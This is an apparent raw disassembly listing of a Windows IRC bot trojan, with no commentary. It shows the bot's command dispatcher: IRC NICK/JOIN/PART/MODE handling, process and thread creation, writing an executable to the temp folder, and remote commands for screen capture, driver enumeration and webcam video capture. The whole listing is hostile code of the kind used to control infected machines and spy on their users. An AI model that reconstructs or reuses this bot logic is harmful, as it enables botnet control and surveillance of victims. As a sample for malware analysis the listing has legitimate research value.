		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		jz	loc_406C4D
		lea	eax, [ebp+4Ch+var_D98]
		push	eax
		lea	eax, [ebp+4Ch+var_670]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_42B008	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_408DB8
		push	offset unk_42D428
		jmp	loc_406C45
; ---------------------------------------------------------------------------


loc_408DB8:				; CODE XREF: sub_40274D+665Fj
		push	edi
		push	offset dword_42D40C
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_408DC3:				; CODE XREF: sub_40274D+485Bj
					; sub_40274D+4872j
		push	edi		; Str2
		push	offset aFicken	; "ficken"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408F2F
		lea	eax, [ebp+4Ch+var_48F8]
		push	eax
		push	104h
		call	ds:dword_42B030	; GetTempPathA
		push	0FFh		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_25D8]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+4Ch+var_17A0]
		push	eax
		call	sub_40A8CA
		push	eax
		lea	eax, [ebp+4Ch+var_48F8]
		push	eax
		lea	eax, [ebp+4Ch+var_24D8]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+esi+4Ch+var_98]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+4Ch+var_23D4], 1
		mov	[ebp+4Ch+var_23D0], ebx
		jz	short loc_408E52
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+4Ch+var_23C8], eax
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E52:				; CODE XREF: sub_40274D+66EFj
		mov	[ebp+4Ch+var_23C8], ebx


loc_408E58:				; CODE XREF: sub_40274D+6703j
		mov	esi, [ebp+esi+4Ch+var_94]
		cmp	esi, ebx
		jz	short loc_408E6F
		push	esi		; Str
		call	j__atol
		pop	ecx
		mov	[ebp+4Ch+var_23CC], eax
		jmp	short loc_408E75
; ---------------------------------------------------------------------------


loc_408E6F:				; CODE XREF: sub_40274D+6711j
		mov	[ebp+4Ch+var_23CC], ebx


loc_408E75:				; CODE XREF: sub_40274D+6720j
		movzx	eax, [ebp+4Ch+var_903]
		mov	esi, [ebp+4Ch+arg_4]
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		mov	[ebp+4Ch+var_23C4], eax
		lea	eax, [ebp+4Ch+var_2658]
		push	eax		; Dest
		mov	[ebp+4Ch+var_265C], esi
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_23BC], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_23C0], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D3D4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+4Ch+Dst]
		push	1Eh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 24h
		mov	[ebp+4Ch+var_23D8], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_265C]
		push	eax
		push	offset sub_418F38
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_23D8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_408F22
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D398
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_408F1A:				; CODE XREF: sub_40274D+67DBj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_408F22:				; CODE XREF: sub_40274D+67BAj
		cmp	[ebp+4Ch+var_23B8], ebx
		jz	short loc_408F1A
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_408F2F:				; CODE XREF: sub_40274D+6685j
		push	offset dword_42D350
		jmp	loc_406C3F
; ---------------------------------------------------------------------------


loc_408F39:				; CODE XREF: sub_40274D+482Dj
					; sub_40274D+4844j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_402B92
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_402B92
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		push	eax
		push	[ebp+4Ch+Format]
		lea	eax, [ebp+4Ch+Dst]
		push	dword ptr [ebp+4Ch+Args]
		push	[ebp+4Ch+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		push	1FFh		; Count
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Source
		push	[ebp+4Ch+arg_0]	; Dest
		call	_strncpy
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	esp, 30h
		test	eax, eax
		jle	short loc_408FB6
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_42B014	; Sleep


loc_408FB6:				; CODE XREF: sub_40274D+6851j
		push	offset dword_42D328
		call	sub_417D70
		mov	eax, [ebp+4Ch+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_408FCA:				; CODE XREF: sub_40274D+47FFj
					; sub_40274D+4816j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_402B92
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		push	offset aRepeat	; "repeat"
		inc	edi
		push	edi		; Str1
		mov	esi, eax
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_409079
		push	[ebp+4Ch+Format]
		push	dword ptr [ebp+4Ch+Args]
		push	[ebp+4Ch+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		push	1FFh		; Count
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Source
		push	[ebp+4Ch+arg_0]	; Dest
		call	_strncpy
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D310 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	esp, 38h
		test	eax, eax
		jle	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	eax, [ebp+4Ch+arg_24]
		pop	ecx
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_409079:				; CODE XREF: sub_40274D+68C0j
		push	offset unk_42D2DC
		jmp	loc_409887
; ---------------------------------------------------------------------------


loc_409083:				; CODE XREF: sub_40274D+47D1j
					; sub_40274D+47E8j
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_2088]
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_2008]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_1F88]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_1F04], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_1F00], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D2A8 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_208C], esi
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Fh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 40h
		mov	[ebp+4Ch+var_1F08], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_208C]
		push	eax
		push	offset sub_4171BC
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1F08]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_409144
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D26C
		jmp	loc_409205
; ---------------------------------------------------------------------------


loc_40913C:				; CODE XREF: sub_40274D+69FDj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_409144:				; CODE XREF: sub_40274D+69DCj
		cmp	[ebp+4Ch+var_1EFC], ebx
		jz	short loc_40913C
		jmp	loc_409214
; ---------------------------------------------------------------------------


loc_409151:				; CODE XREF: sub_40274D+47A3j
					; sub_40274D+47BAj
		push	7Fh		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_23B0]
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+4Ch+var_2330]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_22B0]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_222C], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_2228], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D240 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_23B4], esi
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	11h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 40h
		mov	[ebp+4Ch+var_2230], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_23B4]
		push	eax
		push	offset sub_416A7E
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_2230]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_409239
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42D204 ; "-"


loc_409205:				; CODE XREF: sub_40274D+69EAj
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_409214:				; CODE XREF: sub_40274D+69FFj
					; sub_40274D+6AF4j
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_404A79
		push	ebx
		push	[ebp+4Ch+var_4]
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		push	[ebp+4Ch+Format]
		push	esi
		jmp	loc_404A71
; ---------------------------------------------------------------------------


loc_409231:				; CODE XREF: sub_40274D+6AF2j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_409239:				; CODE XREF: sub_40274D+6AAAj
		cmp	[ebp+4Ch+var_2224], ebx
		jz	short loc_409231
		jmp	short loc_409214
; ---------------------------------------------------------------------------


loc_409243:				; CODE XREF: sub_40274D+4775j
					; sub_40274D+478Cj
		push	edi
		lea	eax, [ebp+4Ch+Dst]
		push	offset aPartS_0	; "PART	%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	esp, 10h


loc_409260:				; CODE XREF: sub_40274D+6B55j
		test	eax, eax
		jle	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		jmp	loc_409DC3
; ---------------------------------------------------------------------------


loc_409281:				; CODE XREF: sub_40274D+4747j
					; sub_40274D+475Ej
		push	[ebp+esi+4Ch+var_98]
		lea	eax, [ebp+4Ch+Dst]
		push	edi
		push	offset aJoinSS_0 ; "JOIN %s %s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		add	esp, 14h
		jmp	short loc_409260
; ---------------------------------------------------------------------------


loc_4092A4:				; CODE XREF: sub_40274D+4719j
					; sub_40274D+4730j
		push	edi
		lea	eax, [ebp+4Ch+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+4Ch+var_8]
		push	esi		; Str
		call	j__atol
		add	esp, 10h
		test	eax, eax
		jle	loc_404979
		push	esi		; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Args
		push	offset aS_0	; "%s\r\n"
		push	esi		; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_4011F5
		push	edi
		push	esi
		push	offset dword_42D1CC
		jmp	loc_409FB1
; ---------------------------------------------------------------------------


loc_40930C:				; CODE XREF: sub_40274D+46EBj
					; sub_40274D+4702j
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40933B
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		push	offset aModeS	; "MODE	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40933B:				; CODE XREF: sub_40274D+6BD7j
		mov	edi, [ebp+4Ch+var_8]
		push	edi		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	loc_404979
		push	edi		; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Args
		push	offset aS_0	; "%s\r\n"
		push	edi		; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_4011F5
		push	esi
		push	edi
		push	offset dword_42D1A8
		jmp	loc_409FB1
; ---------------------------------------------------------------------------


loc_40938F:				; CODE XREF: sub_40274D+46BDj
					; sub_40274D+46D4j
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_404979
		mov	edi, [ebp+4Ch+var_8]
		push	edi		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jle	loc_404979
		push	edi		; Str
		call	j__atol
		cmp	eax, 400h
		pop	ecx
		jge	loc_404979
		push	esi		; Args
		push	offset aS_0	; "%s\r\n"
		push	edi		; Str
		call	j__atol
		imul	eax, 234h
		pop	ecx
		push	dword_4444F4[eax] ; int
		call	sub_4011F5
		push	esi
		push	edi
		push	offset dword_42D18C
		jmp	loc_409FB1
; ---------------------------------------------------------------------------


loc_4093FB:				; CODE XREF: sub_40274D+468Fj
					; sub_40274D+46A6j
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_404979
		push	esi		; Args
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	esi
		push	offset unk_42D164
		jmp	loc_409FD6
; ---------------------------------------------------------------------------


loc_409434:				; CODE XREF: sub_40274D+4661j
					; sub_40274D+4678j
		push	dword ptr [ebp+4Ch+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_402B92
		push	edi		; Args
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	[ebp+4Ch+var_8]	; Str
		call	j__atol
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_42B014	; Sleep
		push	[ebp+esi+4Ch+var_98]
		push	edi		; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+4Ch+arg_4]	; int
		call	sub_4011F5
		push	offset dword_42D144
		call	sub_417D70
		jmp	loc_409FDB
; ---------------------------------------------------------------------------


loc_409492:				; CODE XREF: sub_40274D+4633j
					; sub_40274D+464Aj
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	_strlen
		push	[ebp+4Ch+var_10] ; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+4Ch+var_18]
		push	edi		; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_404979
		push	esi
		lea	eax, [ebp+4Ch+Dst]
		push	offset dword_42D87C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+var_8]	; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	esi
		push	[ebp+4Ch+var_8]	; Args
		push	offset asc_42D128 ; "-"
		call	sub_417DE4
		add	esp, 2Ch
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_409504:				; CODE XREF: sub_40274D+4605j
					; sub_40274D+461Cj
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; Str
		call	_strlen
		push	[ebp+4Ch+var_10] ; Str
		mov	esi, eax
		call	_strlen
		add	eax, [ebp+4Ch+var_18]
		push	edi		; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_404979
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	[ebp+4Ch+var_8]	; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	esi
		push	[ebp+4Ch+var_8]	; Args
		push	offset asc_42D108 ; "-"
		call	sub_417DE4
		add	esp, 20h
		jmp	loc_404979
; ---------------------------------------------------------------------------


loc_40955E:				; CODE XREF: sub_40274D+45D7j
					; sub_40274D+45EEj
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_402B92
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	loc_402B92
		push	eax		; int
		push	[ebp+4Ch+var_8]	; Str2
		call	sub_417C78
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D0E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	loc_404A5B
; ---------------------------------------------------------------------------


loc_40959F:				; CODE XREF: sub_40274D+45A9j
					; sub_40274D+45C0j
		push	edi		; int
		push	[ebp+4Ch+var_8]	; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_41B065


loc_4095B1:				; CODE XREF: sub_40274D+2435j
		add	esp, 14h
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_4095B9:				; CODE XREF: sub_40274D+456Ej
					; sub_40274D+4583j
		push	[ebp+4Ch+var_8]	; SubStr
		push	[ebp+4Ch+arg_1C] ; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_404979
		mov	esi, [ebp+esi+4Ch+Format]
		cmp	esi, ebx
		jz	short loc_409648
		push	esi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_409636
		push	esi
		push	[ebp+4Ch+Format]
		push	dword ptr [ebp+4Ch+Args]
		push	[ebp+4Ch+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		push	1FFh		; Count
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Source
		push	[ebp+4Ch+arg_0]	; Dest
		call	_strncpy
		push	esi
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D0C0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 34h
		inc	[ebp+4Ch+arg_24]
		jmp	loc_4099EE
; ---------------------------------------------------------------------------


loc_409636:				; CODE XREF: sub_40274D+6E9Ej
		push	offset asc_42D090 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_4099EE
; ---------------------------------------------------------------------------


loc_409648:				; CODE XREF: sub_40274D+6E87j
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	[ebp+4Ch+arg_4]
		push	[ebp+4Ch+arg_1C]
		push	eax
		call	sub_41D9E5
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42D074 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 24h
		jmp	loc_4099EE
; ---------------------------------------------------------------------------


loc_40968E:				; CODE XREF: sub_40274D+4544j
					; sub_40274D+4559j
		push	offset aScreen	; "screen"
		push	[ebp+4Ch+var_8]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4096E6
		mov	edi, [ebp+esi+4Ch+Format]
		cmp	edi, ebx
		jz	short loc_4096D3
		push	edi
		call	sub_417F75
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_4096CC
		push	edi
		push	offset asc_42D040 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4096E6
; ---------------------------------------------------------------------------


loc_4096CC:				; CODE XREF: sub_40274D+6F6Cj
		push	offset unk_42D010
		jmp	short loc_4096DE
; ---------------------------------------------------------------------------


loc_4096D3:				; CODE XREF: sub_40274D+6F5Aj
		push	offset asc_42CFD4 ; "-"
		lea	eax, [ebp+4Ch+Dst]


loc_4096DE:				; CODE XREF: sub_40274D+6F84j
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4096E6:				; CODE XREF: sub_40274D+6F52j
					; sub_40274D+6F7Dj
		push	offset aDrivers	; "drivers"
		push	[ebp+4Ch+var_8]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_409770
		xor	edi, edi


loc_4096FB:				; CODE XREF: sub_40274D+700Ej
		push	1FFh
		lea	eax, [ebp+4Ch+var_5400]
		push	eax
		push	0FFh
		lea	eax, [ebp+4Ch+var_4EF8]
		push	eax
		push	edi
		call	dword_44419C
		test	eax, eax
		jz	short loc_409757
		lea	eax, [ebp+4Ch+var_5400]
		push	eax
		lea	eax, [ebp+4Ch+var_4EF8]
		push	eax
		push	edi
		lea	eax, [ebp+4Ch+var_5D90]
		push	offset asc_42CFA4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+var_5D90]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 28h


loc_409757:				; CODE XREF: sub_40274D+6FCFj
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_4096FB
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42CF7C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_409770:				; CODE XREF: sub_40274D+6FAAj
		push	offset aFrame	; "frame"
		push	[ebp+4Ch+var_8]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4097FE
		cmp	[ebp+esi+4Ch+Format], ebx
		jz	short loc_4097EB
		cmp	[ebp+esi+4Ch+var_98], ebx
		jz	short loc_4097EB
		mov	edi, [ebp+esi+4Ch+var_94]
		cmp	edi, ebx
		jz	short loc_4097EB
		mov	eax, [ebp+esi+4Ch+var_90]
		cmp	eax, ebx
		jz	short loc_4097EB
		push	eax		; Str
		call	j__atol
		pop	ecx
		push	eax
		push	edi		; Str
		call	j__atol
		pop	ecx
		push	eax
		push	[ebp+esi+4Ch+var_98] ; Str
		call	j__atol
		pop	ecx
		push	eax
		push	[ebp+esi+4Ch+Format]
		call	sub_4181B2
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_4097E4
		push	[ebp+esi+4Ch+Format]
		push	offset asc_42CF48 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4097FE
; ---------------------------------------------------------------------------


loc_4097E4:				; CODE XREF: sub_40274D+7081j
		push	offset unk_42CF14
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------


loc_4097EB:				; CODE XREF: sub_40274D+703Aj
					; sub_40274D+7040j ...
		push	offset asc_42CEDC ; "-"
		lea	eax, [ebp+4Ch+Dst]


loc_4097F6:				; CODE XREF: sub_40274D+709Cj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4097FE:				; CODE XREF: sub_40274D+7034j
					; sub_40274D+7095j
		push	offset aVideo	; "video"
		push	[ebp+4Ch+var_8]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4099D0
		mov	eax, [ebp+esi+4Ch+Format]
		cmp	eax, ebx
		mov	[ebp+4Ch+var_20], eax
		jz	short loc_40989F
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		mov	[ebp+4Ch+arg_0], eax
		jz	short loc_40989F
		mov	eax, [ebp+esi+4Ch+var_94]
		cmp	eax, ebx
		mov	[ebp+4Ch+var_14], eax
		jz	short loc_40989F
		mov	edi, [ebp+esi+4Ch+var_90]
		cmp	edi, ebx
		jz	short loc_40989F
		mov	esi, [ebp+esi+4Ch+var_8C]
		cmp	esi, ebx
		jz	short loc_40989F
		push	esi		; Str
		call	j__atol
		pop	ecx
		push	eax
		push	edi		; Str
		call	j__atol
		pop	ecx
		push	eax
		push	[ebp+4Ch+var_14] ; Str
		call	j__atol
		pop	ecx
		push	eax
		push	[ebp+4Ch+arg_0]	; Str
		call	j__atol
		pop	ecx
		push	eax
		push	[ebp+4Ch+var_20]
		call	sub_4183AB
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jnz	short loc_409895
		push	[ebp+4Ch+var_20]
		push	offset asc_42CEA8 ; "-"


loc_409887:				; CODE XREF: sub_40274D+6931j
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4099D0
; ---------------------------------------------------------------------------


loc_409895:				; CODE XREF: sub_40274D+7130j
		push	offset unk_42CE68
		jmp	loc_4099C8
; ---------------------------------------------------------------------------


loc_40989F:				; CODE XREF: sub_40274D+70D1j
					; sub_40274D+70DCj ...
		push	offset unk_42CE24
		lea	eax, [ebp+4Ch+Dst]
		jmp	loc_4099C8
; ---------------------------------------------------------------------------


loc_4098AF:				; CODE XREF: sub_40274D+3D58j
					; sub_40274D+3D6Dj
		push	offset aR	; "r"
		push	[ebp+4Ch+var_8]	; char *
		call	_fopen
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40992A
		push	edi		; File
		mov	esi, 200h
		lea	eax, [ebp+4Ch+Dst]
		push	esi		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch
		jmp	short loc_409904
; ---------------------------------------------------------------------------


loc_4098DC:				; CODE XREF: sub_40274D+71B9j
		push	1		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	edi		; File
		lea	eax, [ebp+4Ch+Dst]
		push	esi		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 20h


loc_409904:				; CODE XREF: sub_40274D+718Dj
		test	eax, eax
		jnz	short loc_4098DC
		push	edi		; File
		call	_fclose
		push	[ebp+4Ch+var_8]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42CE00 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_406C6B
; ---------------------------------------------------------------------------


loc_40992A:				; CODE XREF: sub_40274D+7175j
		push	[ebp+4Ch+var_8]
		push	offset unk_42CDDC
		jmp	loc_4076D4
; ---------------------------------------------------------------------------


loc_409937:				; CODE XREF: sub_40274D+3D2Ej
					; sub_40274D+3D43j
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_404979
		push	[ebp+4Ch+var_8]	; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_404979
		push	offset asc_42CDD8 ; "\n"
		push	esi		; Dest
		call	_strcat
		push	esi		; Str
		call	sub_41C7BD
		add	esp, 0Ch
		test	eax, eax
